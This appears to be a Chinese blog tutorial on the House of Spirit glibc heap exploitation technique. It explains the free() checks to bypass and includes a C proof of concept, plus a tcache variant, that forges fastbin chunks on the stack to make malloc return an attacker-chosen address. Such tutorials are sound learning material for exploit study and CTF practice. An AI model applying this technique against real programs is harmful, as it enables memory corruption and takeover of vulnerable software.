获取中...

-

Just a minute...

House of Spirit针对fastbin,也是fastbin attach的一种。核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。

原理

House of Spirit的主要思想是覆盖一个堆指针,使其指向可控的区域,构造好相关数据,释放堆指针时系统会将该区域作为chunk放到fastbin里,再申请这块区域,这块区域就可能改写目标区域。

利用条件

1.想要控制的区域的前段空间和后端空间都是内存可控的
2.想要控制的目标内存一般是返回地址或者函数指针 ,这个应该属于.text段,所以一般情况下这段内存是我们的输入无法控制的,就是我们控制不了的意思。

3.存在可将堆变量指针覆盖指向为可控区域,即上一步中的区域

绕过free检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (chunk_is_mmapped (p)) {
/* 如果当前free的chunk是通过mmap()分配的,调用munmap_chunk()函数munmap本chunk */
/* code */
munmap_chunk (p);
return;
}
/* mmap标志位检测 */

check_inuse_chunk(av, p);
/* in_use标志位检测 */

(unsigned long)(size) <= (unsigned long)(get_max_fast ())
/* 伪造堆块的size字段不能超过fastbin的最大值 */

__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0) || __builtin_expect (chunksize (chunk_at_offset (p, size)) >= av->system_mem, 0)
/* 这个是不能成立的,所以下一个堆块的大小要大于2 * SIZE_ZE小于system_mem */

fake chunk 的ISMMAP位不能是1 ,因为free的时候如果 是mmap的话 会被单独 处理
fake chunk 的地址需要对齐
fake chunk的size大小满足fastbin,并且对齐
fake chunk的size大小不能小于2*SIZE_SZ(4或者8),同时不能大于av->system_mem。
fake chunk对应的fastbin链表头部不能是该fake chunk,即是不能构成double free的情况

利用思路

想要控制的目标区域的前面一段空间和后面一段空间都是可控的内存区域想要控制的目标区域一般为返回地址或函数指针,正常情况下,该区域是无法控制的。但是可以覆盖的堆指针,将堆指针覆盖为下图中的可控区域。

1
2
3
4
5
6
7
8
9
+------------------+
| 可控区域1 |
+------------------+
| 目标区域(不可控, |
| 多为返回地址或函数 |
| 指针等) |
+------------------+
| 可控区域2 |
+------------------+

(1)伪造堆块,在可控区域1和2中构造数据,将目标区域伪造成一个fast chunk;
(2)覆盖堆指针指向伪造的fast chunk;
(3)释放伪造的fast chunk到fastbin单链表中;
(4)申请刚刚释放的chunk,使得可以向目标区域中写入数据。

举例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "House of Spirit Poc\n\n");

fprintf(stderr, "Step1: malloc初始化堆内存\n\n");

malloc(1);

fprintf(stderr, "Step2: 覆盖一个堆指针指向伪造的 fastbin 区域\n");
unsigned long long *a;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "\t这片区域 (长度为: %lu) 包含两个 fake chunk.\n", sizeof(fake_chunks));
fprintf(stderr, "\t第一个fake chunk位于 %p\n", &fake_chunks[1]);
fprintf(stderr, "\t第二个fake chunk位于 %p\n", &fake_chunks[9]);

fake_chunks[1] = 0x40;

fprintf(stderr, "\t第二个fake chunk 的size必须大于 2*SIZE_SZ (x64上 > 16) && 小于 av->system_mem,用于绕过nextsize检查\n");
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "\t覆盖堆指针指向第一个fake chunk %p \n\n", &fake_chunks[1]);
a = &fake_chunks[2];

fprintf(stderr, "Step3: free被覆盖堆指针的堆\n\n");
free(a);

fprintf(stderr, "Step4: malloc申请到fake chunk\n");
fprintf(stderr, "\t再次malloc将会在 %p 返回fake chunk %p \n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "\tmalloc(0x30): %p\n", malloc(0x30));
}

fake chunk1位于0x7ffffffffdc38

fake chunk2位于0x7ffffffffdc78

1.初始化堆内存

1
malloc(1);

2. 伪造堆块,覆盖一个堆指针指向伪造的 fastbin 区域

1
2
3
4
5
6
7
unsigned long long *a;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fake_chunks[1] = 0x40;
fake_chunks[9] = 0x1234; // nextsize

a = &fake_chunks[2];

fake chunk1位于0x7ffffffffdc38

fake chunk2位于0x7ffffffffdc78

3.释放伪造的fast chunk到fastbin单链表

1
free(a);

4.申请刚刚释放的chunk

1
malloc(0x30);

此时数据成功写入。

house_of_spirit with tcache

glibc2.26启用了tcache机制。

因为tcache不检查next chunk的size位,所以只需伪造一个size区域,然后将伪造的fakechunk释放,再次malloc相应大小就可以得到fake_chunk。

1
2
3
4
5
6
7
malloc(1);
unsigned long long * a; //被覆盖的指针
unsigned long long fake_chunks[10]; //fake_chunk

fake_chunks[1] = 0x40; //fake_size
a = &fake_chunks[2]; //覆盖
free(a);

总结

House of Spirit就是我们想要控制的区域控制不了,但它前面和后面都可以控制,所以伪造好数据将它释放到fastbin里面,后面将该内存区域当做堆块申请出来,致使该区域被当做普通的内存使用,从而目标区域就变成了可控的了。

相关文章
评论
分享
  • Alloc to Stack&Arbitary Alloc

    Alloc to Stack和Arbitary Alloc都利用了fastbin链表的特性。 Alloc To Stack利用了fastbin链表的特性。当前的chunk的fd指向下一个chunk。Alloc To Stack核心...

    Alloc to Stack&Arbitary Alloc
  • Fastbin Double Free

    double free 是任意地址写的一种技巧,指堆上的某块内存被释放后,并没有将指向该堆块的指针清零,那么,我们就可以利用程序的其他部分对该内存进行再次的free, 利用条件Fastbin Double Free 能够成功利用主...

    Fastbin Double Free
  • 堆利用fastbin attach

    fastbin attack是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法。主要利用了fast bin的单链表管理机制。 相关源码1234567891011121314151617/* If the ...

    堆利用fastbin attach
Please check the parameter of comment in config.yml of hexo-theme-Annie!